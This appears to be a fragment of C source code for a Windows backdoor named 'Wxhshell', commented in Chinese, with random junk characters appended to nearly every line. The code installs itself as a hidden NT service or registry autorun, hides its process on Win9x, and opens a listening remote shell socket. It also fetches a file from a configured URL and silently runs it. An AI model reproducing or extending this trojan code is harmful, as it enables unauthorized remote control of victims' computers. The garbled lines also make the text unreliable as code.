PROCNTQSIP NtQueryInformationProcess; b|kL*{;
`uusUw-Gf
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z+wegF
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c>/7E-T
'3Fb[md54
HANDLE hProcess; N:+EGmp
PROCESS_BASIC_INFORMATION pbi;
tIod=a)
Zj ^e8u=T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \j wxW6>
if(NULL == hInst ) return 0; p*YV*Arv
DyZ6&*s$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0
.T5%
_/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9X33{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tl-%;X<X
?g@X+!RB
if (!NtQueryInformationProcess) return 0; =<aFkBX-
u=~`5vA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E1Q#@*rX>
if(!hProcess) return 0; })uyq_nz
t&5 Ne ?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-`&YfF
bi@'m?XwJ
CloseHandle(hProcess); E|_8#xvb
c`lL&*]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /FPO'} 6i
if(hProcess==NULL) return 0; Wk/Q~o
-Ks)1w>l
HMODULE hMod; 7o!t/WEEq
char procName[255]; {]m/15/$C
unsigned long cbNeeded; 5t_Dt<lIz
6iEg]FI
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @/$i
-?E
!>Q\Y`a,*
CloseHandle(hProcess); ^vxNS[C`;
? }`mQ <~
if(strstr(procName,"services")) return 1; // 以服务启动 ==%5Ci7qMy
e8(Qx3T?b
return 0; // 注册表启动 j*f\Z!EeZ
} 6jm/y@|F!
u%"5<ll
// 主模块 ;Kg7}4`I
int StartWxhshell(LPSTR lpCmdLine) D97 vfC
{ >X"\+7bw
SOCKET wsl; pSYEC,0B
BOOL val=TRUE; #(+V&<K
int port=0; -*J!Ws(9
struct sockaddr_in door; TA:#K
-3b_}by
if(wscfg.ws_autoins) Install(); j:2F97
eHd7fhW5
port=atoi(lpCmdLine); -GB,g=Dk
i;|I;5tC
if(port<=0) port=wscfg.ws_port; a gL@A
UFj!7gX ]
WSADATA data; DeT$4c*:[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,TB$D]u8
M&9urOa`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Vr%ef:uVV
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1B~Z1w
door.sin_family = AF_INET; 7xG~4N<)]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %CgV:.,K
door.sin_port = htons(port); MTNC{:Q
%AWc`D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~>~qA0m"m
closesocket(wsl); f3>DmH#
return 1; U.$Th_
} Y5"HKW^
S>j.i
if(listen(wsl,2) == INVALID_SOCKET) { R)isWw4
closesocket(wsl); 6P,uy;PJ
return 1; N:+d=G`x
} `YMd0*
Wxhshell(wsl); JZ:yPvJ
WSACleanup(); GWWaH+F[h
H(M{hfa|
return 0; m"'`$ /_
+~y>22Zfg
} ,LmP >Q.
$ye>;Ek
// 以NT服务方式启动 x_C0=Q|K3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d:#tN4y7(
{
cJTwgm?
DWORD status = 0; P6'Se'f8
DWORD specificError = 0xfffffff; qTMY]=(
p:0X3?IG3
serviceStatus.dwServiceType = SERVICE_WIN32; E2>+V{TF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \.Op6ECV9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "{t]~urLd
serviceStatus.dwWin32ExitCode = 0; /s=veiH
serviceStatus.dwServiceSpecificExitCode = 0; ~ ^
serviceStatus.dwCheckPoint = 0; [/n@BK
serviceStatus.dwWaitHint = 0; $P%cdJ T0
~$"2,&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L*vKIP<EMM
if (hServiceStatusHandle==0) return; gA@Zx%0j
_G25$%/LU
status = GetLastError(); E7aG&K
if (status!=NO_ERROR) n"Bc2}{
{ :rjfAe=s
serviceStatus.dwCurrentState = SERVICE_STOPPED; apfr>L3
serviceStatus.dwCheckPoint = 0; S)4p'cUwq
serviceStatus.dwWaitHint = 0; HTvUt*U1
serviceStatus.dwWin32ExitCode = status; _)~VKA]""
serviceStatus.dwServiceSpecificExitCode = specificError; ?~yJ7~3TS<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5wl;fL~e
return; #5'&
|<
} %yk_(3a
R-1MD
serviceStatus.dwCurrentState = SERVICE_RUNNING; mF jM6pmo
serviceStatus.dwCheckPoint = 0; AS;qJ)JfzQ
serviceStatus.dwWaitHint = 0; |')PQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Aq3\Q>klH)
} &Vgpv#&Cfx
g0B%3v
// 处理NT服务事件,比如:启动、停止 G|8>Q3D
VOID WINAPI NTServiceHandler(DWORD fdwControl) QgQ$>
{ Np r u
switch(fdwControl) <c!gg7@pm
{ v7`{6Pf_$
case SERVICE_CONTROL_STOP: 4i+%~X@p
serviceStatus.dwWin32ExitCode = 0; N>]J$[j
serviceStatus.dwCurrentState = SERVICE_STOPPED; #k`gm)|
serviceStatus.dwCheckPoint = 0; 8?YeaMIBB
serviceStatus.dwWaitHint = 0; qc\D=3#Yp
{ O7uCTB+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uI%7jA~@
} BHZhdm@),
return; ;YW@ 3F-h
case SERVICE_CONTROL_PAUSE: VYO1qj
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7\R"RH-
break; n+YUG
case SERVICE_CONTROL_CONTINUE: c/v|e&q
serviceStatus.dwCurrentState = SERVICE_RUNNING; o;
U!{G(X
break; N3@[95
case SERVICE_CONTROL_INTERROGATE: g-"G Zi
break; c$tX3ug6I
}; :XG~AR/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %2g<zdab
} mw;4/
/R
0(:SEiz6s
// 标准应用程序主函数 FOMJRq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vZ.<OD4
{ < *;GJ{
jvL!pEC!
// 获取操作系统版本 M6Np!0G
OsIsNt=GetOsVer(); e"NP]_vh,
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Nco|v
C"_ Roir?
// 从命令行安装 h0g?=hJq
if(strpbrk(lpCmdLine,"iI")) Install(); /S1/ ZI
5$N#=i`V
// 下载执行文件 e3~{l~Rb
if(wscfg.ws_downexe) { <'SS IMr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %9Z0\
a)[
WinExec(wscfg.ws_filenam,SW_HIDE); 150-'Q
} &vn2u bauS
$u yx
if(!OsIsNt) { '=#fELMW
// 如果时win9x,隐藏进程并且设置为注册表启动 U"+W)rUd
HideProc(); G
:k'm^k
StartWxhshell(lpCmdLine); 6pbCQ
q
} ,u PcQ
else $j<KXR
if(StartFromService()) voN~f>
// 以服务方式启动 LyWY\K a
StartServiceCtrlDispatcher(DispatchTable); [wnp]'+!
else #9!7-!4pW
// 普通方式启动 : MjDcI~
StartWxhshell(lpCmdLine); ov;^ev,(
+jF2{"
return 0; c"Vp5lo0
}